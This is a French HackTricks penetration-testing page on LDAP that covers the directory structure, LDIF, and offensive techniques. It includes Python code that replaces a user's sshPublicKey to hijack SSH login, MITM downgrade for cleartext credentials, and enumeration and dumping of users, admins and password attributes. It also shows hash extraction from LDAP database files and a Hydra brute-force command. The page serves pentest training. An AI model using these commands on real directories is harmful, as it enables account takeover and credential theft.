hacktricks/network-services-pentesting/pentesting-ldap.md

19 KiB

389, 636, 3268, 3269 - Pentesting LDAP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

Extrait de : https://searchmobilecomputing.techtarget.com/definition/LDAP

LDAP (Lightweight Directory Access Protocol) est un protocole logiciel permettant à quiconque de localiser des organisations, des individus et d'autres ressources telles que des fichiers et des appareils dans un réseau, que ce soit sur Internet public ou sur un intranet d'entreprise. LDAP est une version "allégée" (moins de code) du Directory Access Protocol (DAP).

Un annuaire LDAP peut être distribué sur plusieurs serveurs. Chaque serveur peut avoir une version répliquée de l'annuaire complet qui est synchronisée périodiquement. Un serveur LDAP est appelé un Directory System Agent (DSA). Un serveur LDAP qui reçoit une demande d'un utilisateur prend en charge la demande, la transmettant à d'autres DSA si nécessaire, mais en assurant une réponse coordonnée unique pour l'utilisateur.

Un annuaire LDAP est organisé dans une hiérarchie "arborescente" simple comprenant les niveaux suivants :

  • L'annuaire racine (le point de départ ou la source de l'arbre), qui se ramifie en
  • Pays, chacun se ramifiant en
  • Organisations, qui se ramifient en
  • Unités organisationnelles (divisions, départements, etc.), qui se ramifient en (inclut une entrée pour)
  • Individus (qui comprend des personnes, des fichiers et des ressources partagées telles que des imprimantes)

Port par défaut : 389 et 636(ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

Format d'échange de données LDAP

LDIF (LDAP Data Interchange Format) définit le contenu de l'annuaire sous forme d'un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).

dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Les lignes 1-3 définissent le domaine de niveau supérieur local
  • Les lignes 5-8 définissent le premier niveau de domaine moneycorp (moneycorp.local)
  • Les lignes 10-16 définissent 2 unités organisationnelles : dev et sales
  • Les lignes 18-26 créent un objet du domaine et attribuent des attributs avec des valeurs

Écrire des données

Notez que si vous pouvez modifier des valeurs, vous pourriez être capable de réaliser des actions vraiment intéressantes. Par exemple, imaginez que vous pouvez changer l'information "sshPublicKey" de votre utilisateur ou de n'importe quel utilisateur. Il est très probable que si cet attribut existe, alors ssh lit les clés publiques depuis LDAP. Si vous pouvez modifier la clé publique d'un utilisateur, vous serez capable de vous connecter en tant que cet utilisateur même si l'authentification par mot de passe n'est pas activée dans ssh.

>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Vol de credentials en clair

Si LDAP est utilisé sans SSL, vous pouvez intercepter les identifiants en texte clair sur le réseau.

De plus, vous pouvez réaliser une attaque MITM sur le réseau entre le serveur LDAP et le client. Ici, vous pouvez effectuer une Attaque par Déclassement afin que le client utilise les identifiants en clair pour se connecter.

Si SSL est utilisé, vous pouvez essayer de réaliser un MITM comme mentionné ci-dessus mais en proposant un faux certificat, si l'utilisateur l'accepte, vous pouvez déclasser la méthode d'authentification et voir à nouveau les identifiants.

Accès Anonyme

Contourner la vérification TLS SNI

Selon ce compte-rendu juste en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :

ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

Liaisons LDAP anonymes

Les liaisons LDAP anonymes permettent aux attaquants non authentifiés de récupérer des informations du domaine, telles qu'une liste complète des utilisateurs, groupes, ordinateurs, attributs de compte utilisateur et la politique de mot de passe du domaine. Il s'agit d'une configuration héritée, et depuis Windows Server 2003, seuls les utilisateurs authentifiés sont autorisés à initier des requêtes LDAP.
Cependant, les administrateurs ont peut-être dû configurer une application particulière pour permettre les liaisons anonymes et ont donné plus d'accès que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.

Identifiants valides

Si vous disposez d'identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations concernant l'Admin du Domaine en utilisant :

ldapdomaindump

pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

Énumération

Automatisée

En utilisant cela, vous pourrez voir les informations publiques (comme le nom de domaine)** :**

nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Voir l'énumération LDAP avec python

Vous pouvez essayer d'énumérer un LDAP avec ou sans identifiants en utilisant python : pip3 install ldap3

Essayez d'abord de vous connecter sans identifiants :

>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Si la réponse est True comme dans l'exemple précédent, vous pouvez obtenir certaines données intéressantes du serveur LDAP (comme le contexte de nommage ou le nom de domaine) à partir de :

>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requêtes plus intéressantes. Cette requête simple devrait vous montrer tous les objets dans l'annuaire :
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Ou dump l'intégralité de ldap :

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch **** est un script Python utile pour énumérer les utilisateurs, les groupes et les ordinateurs d'un domaine Windows en utilisant des requêtes LDAP.

# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Vérifiez les identifiants nuls ou si vos identifiants sont valides :

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Si vous trouvez un message indiquant que le "bind must be completed" cela signifie que les identifiants sont incorrects.

Vous pouvez extraire tout d'un domaine en utilisant :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extraction des utilisateurs :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extraction de computers :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extrait mes infos :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraction des Domain Admins :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraction des Utilisateurs du Domaine :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraction des Enterprise Admins :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraction des Administrateurs :

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extrait Groupe de Bureau à Distance:

ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Pour vérifier si vous avez accès à un mot de passe, vous pouvez utiliser grep après avoir exécuté l'une des requêtes :

<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas être les vrais...

pbis

Vous pouvez télécharger pbis ici : https://github.com/BeyondTrust/pbis-open/ et il est généralement installé dans /opt/pbis.
Pbis vous permet d'obtenir facilement des informations de base :

#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Interface Graphique

Apache Directory

Téléchargez Apache Directory ici. Vous pouvez trouver un exemple d'utilisation de cet outil ici.

jxplorer

Vous pouvez télécharger une interface graphique avec serveur LDAP ici : http://www.jxplorer.org/downloads/users.html

Par défaut, elle est installée dans : /opt/jxplorer

Godap

Vous pouvez y accéder sur https://github.com/Macmod/godap

Authentification via kerberos

En utilisant ldapsearch, vous pouvez vous authentifier contre kerberos au lieu de via NTLM en utilisant le paramètre -Y GSSAPI

POST

Si vous avez accès aux fichiers où les bases de données sont contenues (pourraient être dans /var/lib/ldap). Vous pouvez extraire les hachages en utilisant :

cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Vous pouvez alimenter john avec le hash de mot de passe (de '{SSHA}' à 'structural' sans ajouter 'structural').

Fichiers de configuration

  • Général
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • Serveur IBM SecureWay V3
  • V3.sas.oc
  • Serveur Microsoft Active Directory
  • msadClassesAttrs.ldif
  • Serveur Netscape Directory 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • Serveur annuaire OpenLDAP
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Serveur Sun ONE Directory 5.1
  • 75sas.ldif

Commandes automatiques HackTricks

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥